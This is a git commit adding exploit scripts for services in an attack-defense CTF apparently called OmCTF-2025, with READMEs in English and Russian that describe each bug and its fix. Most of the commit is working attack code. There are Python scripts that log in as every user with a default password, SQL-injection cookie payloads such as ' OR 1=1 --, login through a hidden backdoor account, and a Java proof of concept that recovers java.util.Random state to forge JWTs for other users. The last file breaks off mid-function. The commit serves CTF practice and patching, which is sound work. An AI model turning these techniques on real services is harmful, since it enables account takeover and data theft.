adding validated services? patching forcad_local.py
This commit is contained in:
22
OmCTF-2025/sploits/bashist/README.RU.md
Normal file
22
OmCTF-2025/sploits/bashist/README.RU.md
Normal file
@@ -0,0 +1,22 @@
|
||||
# Эксплойт 1
|
||||
|
||||
**Флагтор 1: Приватные посты (их содержимое)**
|
||||
|
||||
**Уязвимость:** Баг в коде, позволяющий войти под любым пользователем с паролем `password`.
|
||||
|
||||
**Исправление:** Добавить знак `$` перед хешированием пароля в функциях `api-user-register` и `api-user-login`.
|
||||
|
||||
# Эксплойт 2
|
||||
|
||||
**Flagstore 2: Приватные посты (их содержимое)**
|
||||
|
||||
Уязвимость: Неэффективная функция db-escape и её отсутствие в функции db-list-user-posts для поля user_token.
|
||||
|
||||
Исправление: Изменить функцию db-escape на:
|
||||
|
||||
```bash
|
||||
db-escape() {
|
||||
local str="$1"
|
||||
echo "${str//\'/\\\'}"
|
||||
}
|
||||
```
|
||||
21
OmCTF-2025/sploits/bashist/README.md
Normal file
21
OmCTF-2025/sploits/bashist/README.md
Normal file
@@ -0,0 +1,21 @@
|
||||
# Sploit 1
|
||||
|
||||
**Flagstore 1. Private posts (their content)**
|
||||
|
||||
**Vulnerability:** A bug in code allows logging in as any user with password - `password`.
|
||||
|
||||
**Fix:** Add a `$` sign before hashing the password in the `api-user-register` and `api-user-login` functions.
|
||||
|
||||
# Sploit 2
|
||||
|
||||
**Flagstore 2. Private posts (their content)**
|
||||
|
||||
**Vulnerability:** An ineffective `db-escape` function and its absence in the `db-list-user-posts` function for `user_token` field.
|
||||
|
||||
**Fix:** Change the `db-escape` function to:
|
||||
```bash
|
||||
db-escape() {
|
||||
local str="$1"
|
||||
echo "${str//\'/\\\'}"
|
||||
}
|
||||
```
|
||||
1
OmCTF-2025/sploits/bashist/requiremets.txt
Normal file
1
OmCTF-2025/sploits/bashist/requiremets.txt
Normal file
@@ -0,0 +1 @@
|
||||
requests
|
||||
27
OmCTF-2025/sploits/bashist/sploit1.py
Normal file
27
OmCTF-2025/sploits/bashist/sploit1.py
Normal file
@@ -0,0 +1,27 @@
|
||||
import sys
|
||||
|
||||
import requests
|
||||
|
||||
ip = sys.argv[1]
|
||||
|
||||
base_url = f"http://{ip}:1599"
|
||||
sess = requests.Session()
|
||||
|
||||
r = sess.get(f"{base_url}/api/users")
|
||||
assert r.ok, r.text
|
||||
|
||||
users = [el["username"] for el in r.json()]
|
||||
|
||||
for user in users:
|
||||
sess = requests.Session()
|
||||
r = sess.post(
|
||||
f"{base_url}/api/user/login", json={"username": user, "password": "password"}
|
||||
)
|
||||
assert r.ok, r.text
|
||||
|
||||
r = sess.get(f"{base_url}/api/user/posts")
|
||||
assert r.ok, r.text
|
||||
|
||||
flags = [post["content"] for post in r.json()]
|
||||
for flag in flags:
|
||||
print(flag)
|
||||
11
OmCTF-2025/sploits/bashist/sploit2.py
Normal file
11
OmCTF-2025/sploits/bashist/sploit2.py
Normal file
@@ -0,0 +1,11 @@
|
||||
import sys
|
||||
import requests
|
||||
|
||||
ip = sys.argv[1]
|
||||
|
||||
base_url = f"http://{ip}:1599"
|
||||
|
||||
r = requests.get(f"{base_url}/api/user/posts", cookies={"token": "'%20OR%201=1%20--"})
|
||||
flags = [post["content"] for post in r.json()]
|
||||
for flag in flags:
|
||||
print(flag)
|
||||
11
OmCTF-2025/sploits/bashist/sploit3.py
Normal file
11
OmCTF-2025/sploits/bashist/sploit3.py
Normal file
@@ -0,0 +1,11 @@
|
||||
import sys
|
||||
import requests
|
||||
|
||||
ip = sys.argv[1]
|
||||
|
||||
base_url = f"http://{ip}:1599"
|
||||
|
||||
r = requests.get(f"{base_url}/api/user/posts", cookies={"token": "'%20OR%20'1'='1"})
|
||||
flags = [post["content"] for post in r.json()]
|
||||
for flag in flags:
|
||||
print(flag)
|
||||
20
OmCTF-2025/sploits/block-game/README.RU.md
Normal file
20
OmCTF-2025/sploits/block-game/README.RU.md
Normal file
@@ -0,0 +1,20 @@
|
||||
# Эксплойт 1
|
||||
|
||||
Флагстор 1. Непроходимые уровни (их награды)
|
||||
|
||||
Уязвимость: В функции MoveOutOfWay отсутствует проверка границ (проверка выполняется на стороне клиента). Уровни можно пройти, выйдя за пределы карты.
|
||||
|
||||
Исправление: Добавить проверку границ в функцию MoveOutOfWay:
|
||||
```Go
|
||||
if p.X < 0 || p.Y < 0 || p.X >= sess.Tiles.size || p.Y >= sess.Tiles.size {
|
||||
return false
|
||||
}
|
||||
```
|
||||
|
||||
# Эксплойт 2
|
||||
|
||||
Флагстор 2. Приватные уровни (их награды)
|
||||
|
||||
Уязвимость: Бэкдор в функции Level.CreateFrom (спрятан в шаблоне с множеством табуляций, в результате чего он оказывается вне экрана). Он создаёт пользователя с именем и паролем, равными `sha256(level_name)[:32]`, которым затем можно воспользоваться для доступа к уровню и флагу.
|
||||
|
||||
Исправление: удалить бэкдор из `create_from.tmpl` и регенерировать код ИЛИ удалить его напрямую из `create_from.go`.
|
||||
20
OmCTF-2025/sploits/block-game/README.md
Normal file
20
OmCTF-2025/sploits/block-game/README.md
Normal file
@@ -0,0 +1,20 @@
|
||||
# Sploit 1
|
||||
|
||||
Flagstore 1. Unbeatable levels (their prizes)
|
||||
|
||||
Vulnerability: No bounds check in the MoveOutOfWay function (checked on the client side). The levels are beatable by going out of bounds.
|
||||
|
||||
Fix: Add bounds check in the MoveOutOfWay function:
|
||||
```Go
|
||||
if p.X < 0 || p.Y < 0 || p.X >= sess.Tiles.size || p.Y >= sess.Tiles.size {
|
||||
return false
|
||||
}
|
||||
```
|
||||
|
||||
# Sploit 2
|
||||
|
||||
Flagstore 2. Private levels (their prizes)
|
||||
|
||||
Vulnerability: Backdoor in the Level.CreateFrom function (hidden in the template with a bunch of tabs which get it out of the screen). It creates a user with name and password both equal to `sha256(level_name)[:32]`, which can then be used to access the level and the flag.
|
||||
|
||||
Fix: remove the backdoor code from `create_from.tmpl` and regenerate OR remove it directly from `create_from.go`.
|
||||
2
OmCTF-2025/sploits/block-game/requirements.txt
Normal file
2
OmCTF-2025/sploits/block-game/requirements.txt
Normal file
@@ -0,0 +1,2 @@
|
||||
requests
|
||||
websockets
|
||||
56
OmCTF-2025/sploits/block-game/sploit1.py
Normal file
56
OmCTF-2025/sploits/block-game/sploit1.py
Normal file
@@ -0,0 +1,56 @@
|
||||
import json
|
||||
from secrets import token_hex
|
||||
import sys
|
||||
import requests
|
||||
from requests.cookies import get_cookie_header
|
||||
from websockets.sync.client import connect
|
||||
|
||||
|
||||
def connect_with_auth(sess: requests.Session, url):
|
||||
cookie_value = get_cookie_header(sess.cookies, requests.Request("GET", url.replace("ws://", "http://")))
|
||||
return connect(url, additional_headers={"Cookie": cookie_value})
|
||||
|
||||
|
||||
ip = sys.argv[1]
|
||||
|
||||
sess = requests.Session()
|
||||
|
||||
r = sess.post(f"http://{ip}:5874/api/auth/register", json={
|
||||
"username": token_hex(8),
|
||||
"password": token_hex(8)
|
||||
})
|
||||
assert r.ok, r.text
|
||||
|
||||
r = sess.get("http://localhost/api/client/attack_data/")
|
||||
assert r.ok, r.text
|
||||
|
||||
flag_ids = r.json()["test_basic_service"]["host.docker.internal"]
|
||||
|
||||
level_names = [json.loads(s)["level_name"] for s in flag_ids]
|
||||
|
||||
|
||||
def get_one(name):
|
||||
r = sess.get(f"http://{ip}:5874/api/user/level", params={"name": name})
|
||||
assert r.ok, r.text
|
||||
level_id = r.json()["id"]
|
||||
|
||||
with connect_with_auth(sess, f"ws://{ip}:5874/api/user/level/{level_id}/play") as sock:
|
||||
sock.send(json.dumps({"type": "move", "option": {"direction": "up"}}))
|
||||
for _ in range(4):
|
||||
sock.send(json.dumps({"type": "move", "option": {"direction": "right"}}))
|
||||
for _ in range(4):
|
||||
sock.send(json.dumps({"type": "move", "option": {"direction": "up"}}))
|
||||
for _ in range(4):
|
||||
sock.send(json.dumps({"type": "move", "option": {"direction": "left"}}))
|
||||
while True:
|
||||
m = json.loads(sock.recv(1))
|
||||
if m["type"] == "level_complete":
|
||||
print(m["option"]["prize"])
|
||||
break
|
||||
|
||||
|
||||
for name in level_names:
|
||||
try:
|
||||
get_one(name)
|
||||
except Exception as e:
|
||||
print(name, e)
|
||||
68
OmCTF-2025/sploits/block-game/sploit2.py
Normal file
68
OmCTF-2025/sploits/block-game/sploit2.py
Normal file
@@ -0,0 +1,68 @@
|
||||
import hashlib
|
||||
import json
|
||||
import sys
|
||||
import requests
|
||||
from requests.cookies import get_cookie_header
|
||||
from websockets.sync.client import connect
|
||||
|
||||
|
||||
def connect_with_auth(sess: requests.Session, url):
|
||||
cookie_value = get_cookie_header(sess.cookies, requests.Request("GET", url.replace("ws://", "http://")))
|
||||
return connect(url, additional_headers={"Cookie": cookie_value})
|
||||
|
||||
|
||||
ip = sys.argv[1]
|
||||
|
||||
sess = requests.Session()
|
||||
|
||||
|
||||
r = sess.get("http://localhost/api/client/attack_data/")
|
||||
assert r.ok, r.text
|
||||
|
||||
flag_ids = r.json()["test_basic_service"]["host.docker.internal"]
|
||||
|
||||
level_names = [json.loads(s)["level_name"] for s in flag_ids]
|
||||
|
||||
def get_one(name: str):
|
||||
hash = hashlib.sha256(name.encode()).hexdigest()
|
||||
r = sess.post(f"http://{ip}:5874/api/auth/login", json={
|
||||
"username": hash[:32],
|
||||
"password": hash[:32]
|
||||
})
|
||||
assert r.ok, r.text
|
||||
r = sess.get(f"http://{ip}:5874/api/user/level", params={"name": name})
|
||||
assert r.ok, r.text
|
||||
level_id = r.json()["id"]
|
||||
|
||||
r = sess.get(f"http://{ip}:5874/api/user/level/{level_id}")
|
||||
assert r.ok, r.text
|
||||
tiles = r.json()["data"]["tiles"]
|
||||
assert len(tiles) == 2, "lol"
|
||||
px, py = next((tile["pos"]["x"], tile["pos"]["y"]) for tile in tiles if tile["kind"] == "player")
|
||||
ex, ey = next((tile["pos"]["x"], tile["pos"]["y"]) for tile in tiles if tile["kind"] == "exit")
|
||||
|
||||
with connect_with_auth(sess, f"ws://{ip}:5874/api/user/level/{level_id}/play") as sock:
|
||||
while py > ey:
|
||||
sock.send(json.dumps({"type": "move", "option": {"direction": "up"}}))
|
||||
py -= 1
|
||||
while px < ex:
|
||||
sock.send(json.dumps({"type": "move", "option": {"direction": "right"}}))
|
||||
px += 1
|
||||
while py < ey:
|
||||
sock.send(json.dumps({"type": "move", "option": {"direction": "down"}}))
|
||||
py += 1
|
||||
while px > ex:
|
||||
sock.send(json.dumps({"type": "move", "option": {"direction": "left"}}))
|
||||
px -= 1
|
||||
while True:
|
||||
m = json.loads(sock.recv(1))
|
||||
if m["type"] == "level_complete":
|
||||
print(m["option"]["prize"])
|
||||
break
|
||||
|
||||
|
||||
for name in level_names:
|
||||
try:
|
||||
get_one(name)
|
||||
except Exception as e:
|
||||
print(name, e)
|
||||
62
OmCTF-2025/sploits/jform/AttackData.java
Normal file
62
OmCTF-2025/sploits/jform/AttackData.java
Normal file
@@ -0,0 +1,62 @@
|
||||
import java.net.URI;
|
||||
import java.net.http.HttpClient;
|
||||
import java.net.http.HttpRequest;
|
||||
import java.net.http.HttpResponse;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.regex.Matcher;
|
||||
import java.util.regex.Pattern;
|
||||
|
||||
public class AttackData {
|
||||
|
||||
public static List<Map<String, String>> getAttackData(String host, String attackDataUrl) throws Exception {
|
||||
HttpClient client = HttpClient.newHttpClient();
|
||||
HttpRequest request = HttpRequest.newBuilder()
|
||||
.uri(URI.create(attackDataUrl))
|
||||
.GET()
|
||||
.build();
|
||||
|
||||
HttpResponse<String> response = client.send(request, HttpResponse.BodyHandlers.ofString());
|
||||
String responseBody = response.body();
|
||||
|
||||
return parseAttackData(responseBody, host, attackDataUrl);
|
||||
}
|
||||
|
||||
private static List<Map<String, String>> parseAttackData(String jsonResponse, String host, String attackDataUrl) {
|
||||
List<Map<String, String>> userData = new ArrayList<>();
|
||||
|
||||
String hostPattern = "\"" + Pattern.quote(host) + "\"\\s*:\\s*\\[([^\\]]+)\\]";
|
||||
Pattern pattern = Pattern.compile(hostPattern, Pattern.DOTALL);
|
||||
Matcher matcher = pattern.matcher(jsonResponse);
|
||||
|
||||
if (matcher.find()) {
|
||||
String arrayContent = matcher.group(1);
|
||||
|
||||
Pattern userPattern = Pattern.compile("\\{\\\\\"userId\\\\\":\\s*\\\\\"(\\d+)\\\\\",\\s*\\\\\"username\\\\\":\\s*\\\\\"([^\\\\\"]+)\\\\\"\\}");
|
||||
Matcher userMatcher = userPattern.matcher(arrayContent);
|
||||
|
||||
while (userMatcher.find()) {
|
||||
Map<String, String> user = new HashMap<>();
|
||||
user.put("userId", userMatcher.group(1));
|
||||
user.put("username", userMatcher.group(2));
|
||||
userData.add(user);
|
||||
}
|
||||
}
|
||||
|
||||
return userData;
|
||||
}
|
||||
|
||||
public static Map<String, String> getFirstUser(String host, String attackDataUrl) throws Exception {
|
||||
List<Map<String, String>> users = getAttackData(host, attackDataUrl);
|
||||
if (users.isEmpty()) {
|
||||
throw new Exception("No attack data found for host: " + host);
|
||||
}
|
||||
return users.get(0);
|
||||
}
|
||||
|
||||
public static List<Map<String, String>> getAllUsers(String host, String attackDataUrl) throws Exception {
|
||||
return getAttackData(host, attackDataUrl);
|
||||
}
|
||||
}
|
||||
376
OmCTF-2025/sploits/jform/ChainPoC_HexIDs.java
Normal file
376
OmCTF-2025/sploits/jform/ChainPoC_HexIDs.java
Normal file
@@ -0,0 +1,376 @@
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import java.util.Random;
|
||||
import java.util.Base64;
|
||||
import javax.crypto.Mac;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import java.nio.ByteBuffer;
|
||||
import java.util.Map;
|
||||
import java.util.HashMap;
|
||||
|
||||
public class ChainPoC_HexIDs {
|
||||
static final long A = 0x5DEECE66DL;
|
||||
static final long C = 0xBL;
|
||||
static final long A_INV = 0xDFE05BCB1365L;
|
||||
|
||||
private static final long MULTIPLIER = 0x5DEECE66DL;
|
||||
private static final long ADDEND = 0xBL;
|
||||
private static final long MASK = (1L << 48) - 1;
|
||||
private static final long MULT_INV = 0xDFE05BCB1365L;
|
||||
|
||||
private static long nextSeed(long s) { return (s * MULTIPLIER + ADDEND) & MASK; }
|
||||
private static long prevSeed(long sp) { return (MULT_INV * ((sp - ADDEND) & MASK)) & MASK; }
|
||||
|
||||
static long nextState(long s) {
|
||||
return (s * A + C) & MASK;
|
||||
}
|
||||
|
||||
static long prevState(long s) {
|
||||
return (A_INV * ((s - C) & MASK)) & MASK;
|
||||
}
|
||||
|
||||
static long stateToSeedLow48(long state) {
|
||||
return (state ^ A) & MASK;
|
||||
}
|
||||
|
||||
static String toHex16(long v) {
|
||||
return String.format("%016x", v);
|
||||
}
|
||||
|
||||
static long fromHex(String hex) {
|
||||
return Long.parseUnsignedLong(hex, 16);
|
||||
}
|
||||
|
||||
static String hx64(long v) {
|
||||
return String.format("0x%016x", v);
|
||||
}
|
||||
|
||||
static String hx48(long v) {
|
||||
return String.format("0x%012x", v & MASK);
|
||||
}
|
||||
|
||||
static class FormSeed {
|
||||
final int seedInt;
|
||||
final long s0;
|
||||
|
||||
FormSeed(int i, long s) {
|
||||
seedInt = i;
|
||||
s0 = s;
|
||||
}
|
||||
}
|
||||
|
||||
static FormSeed recoverFormSeedFromNextLong(long out) {
|
||||
int lo = (int) out;
|
||||
int hi = (int) ((out - (long) lo) >>> 32);
|
||||
|
||||
long hiU = hi & 0xFFFFFFFFL;
|
||||
for (int b1 = 0; b1 < (1 << 16); b1++) {
|
||||
long s1 = ((hiU << 16) | (b1 & 0xFFFFL)) & MASK;
|
||||
long s2 = nextState(s1);
|
||||
if ((int) (s2 >>> 16) == lo) {
|
||||
long s0 = prevState(s1);
|
||||
long seedLow48 = stateToSeedLow48(s0);
|
||||
int seedInt = (int) (seedLow48 & 0xFFFFFFFFL);
|
||||
if (new Random(seedInt).nextLong() == out)
|
||||
return new FormSeed(seedInt, s0);
|
||||
}
|
||||
}
|
||||
|
||||
long loU = lo & 0xFFFFFFFFL;
|
||||
for (int b2 = 0; b2 < (1 << 16); b2++) {
|
||||
long s2 = ((loU << 16) | (b2 & 0xFFFFL)) & MASK;
|
||||
long s1 = prevState(s2);
|
||||
if ((int) (s1 >>> 16) == hi) {
|
||||
long s0 = prevState(s1);
|
||||
long seedLow48 = stateToSeedLow48(s0);
|
||||
int seedInt = (int) (seedLow48 & 0xFFFFFFFFL);
|
||||
if (new Random(seedInt).nextLong() == out)
|
||||
return new FormSeed(seedInt, s0);
|
||||
}
|
||||
}
|
||||
throw new IllegalStateException("no matching state for given nextLong()");
|
||||
}
|
||||
|
||||
static class IdProviderSeed {
|
||||
final long s0, s1, s2;
|
||||
|
||||
IdProviderSeed(long a, long b, long c) {
|
||||
s0 = a;
|
||||
s1 = b;
|
||||
s2 = c;
|
||||
}
|
||||
}
|
||||
|
||||
static IdProviderSeed reconstructIdProviderSeedFromTwoInts(int x0, int x1) {
|
||||
long u0 = x0 & 0xFFFFFFFFL, u1 = x1 & 0xFFFFFFFFL;
|
||||
for (int low16 = 0; low16 < (1 << 16); low16++) {
|
||||
long s1 = ((u0 << 16) | (low16 & 0xFFFFL)) & MASK;
|
||||
long s2 = nextState(s1);
|
||||
if (((int) (s2 >>> 16)) == (int) u1) {
|
||||
long s0 = prevState(s1);
|
||||
return new IdProviderSeed(s0, s1, s2);
|
||||
}
|
||||
}
|
||||
throw new IllegalStateException("values must be consecutive nextInt()");
|
||||
}
|
||||
|
||||
static List<long[]> candidatesFromL2low48(long L2_low48) {
|
||||
int y2 = (int) (L2_low48 & 0xFFFFFFFFL);
|
||||
int y1_low16 = (int) ((L2_low48 >>> 32) & 0xFFFFL);
|
||||
List<long[]> out = new ArrayList<>();
|
||||
for (int b2 = 0; b2 < (1 << 16); b2++) {
|
||||
long s2 = ((((long) y2) << 16) | (b2 & 0xFFFFL)) & MASK;
|
||||
long s1 = prevState(s2);
|
||||
if (((s1 >>> 16) & 0xFFFFL) == (y1_low16 & 0xFFFFL)) {
|
||||
long hi32 = (s1 >>> 16) & 0xFFFFFFFFL;
|
||||
long lo32 = (s2 >>> 16) & 0xFFFFFFFFL;
|
||||
long L2_full = (hi32 << 32) | lo32;
|
||||
long p2 = prevState(s1);
|
||||
long p1 = prevState(p2);
|
||||
long L1_full = (((p1 >>> 16) & 0xFFFFFFFFL) << 32) | ((p2 >>> 16) & 0xFFFFFFFFL);
|
||||
out.add(new long[] { L2_full, L1_full });
|
||||
}
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
private static int hiFromNextLong(long out) {
|
||||
int lo = (int) out;
|
||||
return (int) ((out - (long) lo) >>> 32);
|
||||
}
|
||||
|
||||
private static int loFromNextLong(long out) {
|
||||
return (int) out;
|
||||
}
|
||||
|
||||
static long makeNextLongFromStates(long s1, long s2) {
|
||||
return (((long) (int) (s1 >>> 16)) << 32) + (int) (s2 >>> 16);
|
||||
}
|
||||
|
||||
private static long makeNextLong(int hi, int lo) {
|
||||
return (((long) hi) << 32) + (long) lo;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
static List<long[]> bruteForceIdAndJWTSeedCandidates(long id_provider_seed_low48) {
|
||||
|
||||
System.out.println(hx64(id_provider_seed_low48));
|
||||
List<long[]> out = new ArrayList<>();
|
||||
|
||||
int y2 = (int) (id_provider_seed_low48 & 0xFFFFFFFFL);
|
||||
int y1_low16 = (int) ((id_provider_seed_low48 >>> 32) & 0xFFFFL);
|
||||
|
||||
for (int low16_s2 = 0; low16_s2 < (1 << 16); low16_s2++) {
|
||||
long s2 = ((((long) y2) << 16) | (low16_s2 & 0xFFFFL)) & MASK;
|
||||
long s1 = prevState(s2);
|
||||
|
||||
if (((s1 >>> 16) & 0xFFFFL) != (y1_low16 & 0xFFFFL) && ((s1 >>> 16) & 0xFFFFL) != ((y1_low16 & 0xFFFFL) + 1) && ((s1 >>> 16) & 0xFFFFL) != ((y1_low16 & 0xFFFFL) - 1)) continue;
|
||||
|
||||
System.out.println("passed s1: " + hx48(s1));
|
||||
|
||||
long L2_full = makeNextLongFromStates(s1, s2);
|
||||
long p2 = prevState(s1); long p1 = prevState(p2);
|
||||
long L1_full = makeNextLongFromStates(p1, p2);
|
||||
out.add(new long[] { L1_full, L2_full});
|
||||
|
||||
System.out.println("L2: " + hx64(L2_full));
|
||||
System.out.println("L1: " + hx64(L1_full));
|
||||
|
||||
s1 = ((s1 >>> 16) + 1) << 16;
|
||||
System.out.println("s1+: " + hx48(s1));
|
||||
|
||||
L2_full = makeNextLongFromStates(s1, s2);
|
||||
p2 = prevState(s1); p1 = prevState(p2);
|
||||
L1_full = makeNextLongFromStates(p1, p2);
|
||||
out.add(new long[] { L1_full, L2_full});
|
||||
|
||||
|
||||
s1 = ((s1 >>> 16) - 2) << 16;
|
||||
System.out.println("s1-: " + hx48(s1));
|
||||
|
||||
L2_full = makeNextLongFromStates(s1, s2);
|
||||
p2 = prevState(s1); p1 = prevState(p2);
|
||||
L1_full = makeNextLongFromStates(p1, p2);
|
||||
out.add(new long[] { L1_full, L2_full});
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
|
||||
|
||||
static byte[] longToBytes(long value) {
|
||||
return ByteBuffer.allocate(8).putLong(value).array();
|
||||
}
|
||||
|
||||
static byte[] expandKey(byte[] key8bytes) {
|
||||
byte[] expanded = new byte[32];
|
||||
for (int i = 0; i < 32; i++) {
|
||||
expanded[i] = key8bytes[i % 8];
|
||||
}
|
||||
return expanded;
|
||||
}
|
||||
|
||||
static boolean verifyJWT(String jwtToken, long jwtSecret) {
|
||||
try {
|
||||
String[] parts = jwtToken.split("\\.");
|
||||
if (parts.length != 3)
|
||||
return false;
|
||||
|
||||
String headerAndPayload = parts[0] + "." + parts[1];
|
||||
String actualSignature = parts[2];
|
||||
|
||||
byte[] keyData = longToBytes(jwtSecret);
|
||||
byte[] expandedKey = expandKey(keyData);
|
||||
|
||||
Mac mac = Mac.getInstance("HmacSHA256");
|
||||
SecretKeySpec keySpec = new SecretKeySpec(expandedKey, "HmacSHA256");
|
||||
mac.init(keySpec);
|
||||
byte[] signatureBytes = mac.doFinal(headerAndPayload.getBytes("UTF-8"));
|
||||
|
||||
String expectedSignature = Base64.getUrlEncoder().withoutPadding().encodeToString(signatureBytes);
|
||||
|
||||
return expectedSignature.equals(actualSignature);
|
||||
} catch (Exception e) {
|
||||
System.err.println("JWT verification error: " + e.getMessage());
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
static String generateToken(String username, long jwtSecret) {
|
||||
try {
|
||||
String header = "{\"alg\":\"HS256\"}";
|
||||
String encodedHeader = Base64.getUrlEncoder().withoutPadding()
|
||||
.encodeToString(header.getBytes("UTF-8"));
|
||||
|
||||
long now = System.currentTimeMillis() / 1000;
|
||||
long exp = now + 86400;
|
||||
String payload = "{\"u\":\"" + username + "\",\"iat\":" + now + ",\"exp\":" + exp + "}";
|
||||
String encodedPayload = Base64.getUrlEncoder().withoutPadding()
|
||||
.encodeToString(payload.getBytes("UTF-8"));
|
||||
|
||||
String headerAndPayload = encodedHeader + "." + encodedPayload;
|
||||
byte[] keyData = longToBytes(jwtSecret);
|
||||
byte[] expandedKey = expandKey(keyData);
|
||||
|
||||
Mac mac = Mac.getInstance("HmacSHA256");
|
||||
SecretKeySpec keySpec = new SecretKeySpec(expandedKey, "HmacSHA256");
|
||||
mac.init(keySpec);
|
||||
byte[] signatureBytes = mac.doFinal(headerAndPayload.getBytes("UTF-8"));
|
||||
|
||||
String signature = Base64.getUrlEncoder().withoutPadding()
|
||||
.encodeToString(signatureBytes);
|
||||
|
||||
return headerAndPayload + "." + signature;
|
||||
} catch (Exception e) {
|
||||
System.err.println("JWT generation error: " + e.getMessage());
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public static Map<String, String>[] exploit(long form_id, long known_user_id, String known_jwt, List<Map<String, String>> targetUsers, String form1, String form2) {
|
||||
|
||||
long dec1 = fromHex(form1);
|
||||
long dec2 = fromHex(form2);
|
||||
|
||||
System.out.println("dec1: " + hx64(dec1));
|
||||
System.out.println("dec2: " + hx64(dec2));
|
||||
|
||||
FormSeed form_seed_a = recoverFormSeedFromNextLong(dec1);
|
||||
FormSeed form_seed_b = recoverFormSeedFromNextLong(dec2);
|
||||
|
||||
int recN1 = form_seed_a.seedInt;
|
||||
int recN2 = form_seed_b.seedInt;
|
||||
|
||||
IdProviderSeed id_provider_seed = reconstructIdProviderSeedFromTwoInts(recN1, recN2);
|
||||
|
||||
|
||||
System.out.println("rolling back state n times: " + (form_id - 1));
|
||||
long rolledBackState = id_provider_seed.s0;
|
||||
for (int i = 0; i < form_id -1 ; i++) {
|
||||
rolledBackState = prevState(rolledBackState);
|
||||
}
|
||||
|
||||
long id_provider_seed_low48 = stateToSeedLow48(rolledBackState);
|
||||
|
||||
List<long[]> cands = bruteForceIdAndJWTSeedCandidates(id_provider_seed_low48);
|
||||
|
||||
System.out.println("cands: " + cands.size());
|
||||
|
||||
long id_seed = 0, jwt_seed = 0;
|
||||
Random jwt_random;
|
||||
boolean found = false;
|
||||
|
||||
for (long[] cand : cands) {
|
||||
jwt_seed = cand[0];
|
||||
id_seed = cand[1];
|
||||
|
||||
System.out.println("jwt seed: " + hx64(jwt_seed));
|
||||
System.out.println("id seed: " + hx64(id_seed));
|
||||
|
||||
long jwt_secret = 0;
|
||||
|
||||
jwt_random = new Random(jwt_seed);
|
||||
for (int i = 0; i < known_user_id; i++) {
|
||||
jwt_secret = jwt_random.nextLong();
|
||||
if (verifyJWT(known_jwt, jwt_secret)) {
|
||||
System.out.println("found jwt secret: " + hx64(jwt_secret));
|
||||
System.out.println("jwt secret: " + hx64(jwt_secret));
|
||||
System.out.println("jwt seed: " + hx64(jwt_seed));
|
||||
System.out.println("id seed: " + hx64(id_seed));
|
||||
found = true;
|
||||
break;
|
||||
} else {
|
||||
System.out.println("invalid jwt secret: " + hx64(jwt_secret));
|
||||
continue;
|
||||
}
|
||||
}
|
||||
if (found) {
|
||||
break;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
if (jwt_seed == 0) {
|
||||
System.out.println("No valid jwt seed found");
|
||||
return null;
|
||||
}
|
||||
|
||||
System.out.println();
|
||||
System.out.println("[*] Recovered from two ints:");
|
||||
System.out.println("L2_low48(rec) = " + hx48(id_provider_seed_low48));
|
||||
System.out.println("L2_full(rec) = " + hx64(id_seed));
|
||||
System.out.println("L1_full(rec) = " + hx64(jwt_seed));
|
||||
System.out.println();
|
||||
|
||||
|
||||
|
||||
Map<String, String>[] jwts = new Map[targetUsers.size()];
|
||||
int index = 0;
|
||||
for (Map<String, String> user : targetUsers) {
|
||||
String username = user.get("username");
|
||||
long userId = Long.parseLong(user.get("userId"));
|
||||
|
||||
Random jwt_random1 = new Random(jwt_seed);
|
||||
long jwt_secret = 0;
|
||||
for (int i = 0; i < userId; i++) {
|
||||
jwt_secret = jwt_random1.nextLong();
|
||||
}
|
||||
System.out.println("jwt secret: " + hx64(jwt_secret));
|
||||
String jwt = generateToken(username, jwt_secret);
|
||||
System.out.println("jwt: " + jwt);
|
||||
|
||||
Map<String, String> jwtData = new HashMap<>();
|
||||
jwtData.put("jwt", jwt);
|
||||
jwtData.put("username", username);
|
||||
jwtData.put("userId", Long.toString(userId));
|
||||
jwts[index] = jwtData;
|
||||
index++;
|
||||
}
|
||||
return jwts;
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
247
OmCTF-2025/sploits/jform/CheckLib.java
Normal file
247
OmCTF-2025/sploits/jform/CheckLib.java
Normal file
@@ -0,0 +1,247 @@
|
||||
import java.security.SecureRandom;
|
||||
import java.util.Random;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.util.Base64;
|
||||
import java.security.MessageDigest;
|
||||
|
||||
public class CheckLib {
|
||||
|
||||
private static final Random random = new Random();
|
||||
private static final SecureRandom secureRandom = new SecureRandom();
|
||||
|
||||
private static final String ALPHANUMERIC = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
|
||||
private static final String ALPHA_LOWER = "abcdefghijklmnopqrstuvwxyz";
|
||||
private static final String ALPHA_UPPER = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
|
||||
private static final String NUMERIC = "0123456789";
|
||||
private static final String HEX = "0123456789abcdef";
|
||||
|
||||
public static String rndString(int length) {
|
||||
return rndAlphanumeric(length);
|
||||
}
|
||||
|
||||
public static String generateUsername() {
|
||||
return "user_" + timestampSec() + "_" + rndAlphaLower(6);
|
||||
}
|
||||
|
||||
public static String generateUsername(String prefix) {
|
||||
return prefix + "_" + timestampSec() + "_" + rndAlphaLower(6);
|
||||
}
|
||||
|
||||
public static String generatePassword() {
|
||||
return rndAlphanumeric(16);
|
||||
}
|
||||
|
||||
public static String generatePassword(int length) {
|
||||
return rndAlphanumeric(length);
|
||||
}
|
||||
|
||||
public static String rndAlphanumeric(int length) {
|
||||
return randomString(length, ALPHANUMERIC);
|
||||
}
|
||||
|
||||
public static String rndAlphaLower(int length) {
|
||||
return randomString(length, ALPHA_LOWER);
|
||||
}
|
||||
|
||||
public static String rndAlphaUpper(int length) {
|
||||
return randomString(length, ALPHA_UPPER);
|
||||
}
|
||||
|
||||
public static String rndNumeric(int length) {
|
||||
return randomString(length, NUMERIC);
|
||||
}
|
||||
|
||||
public static String rndHex(int length) {
|
||||
return randomString(length, HEX);
|
||||
}
|
||||
|
||||
public static String randomString(int length, String charset) {
|
||||
StringBuilder sb = new StringBuilder(length);
|
||||
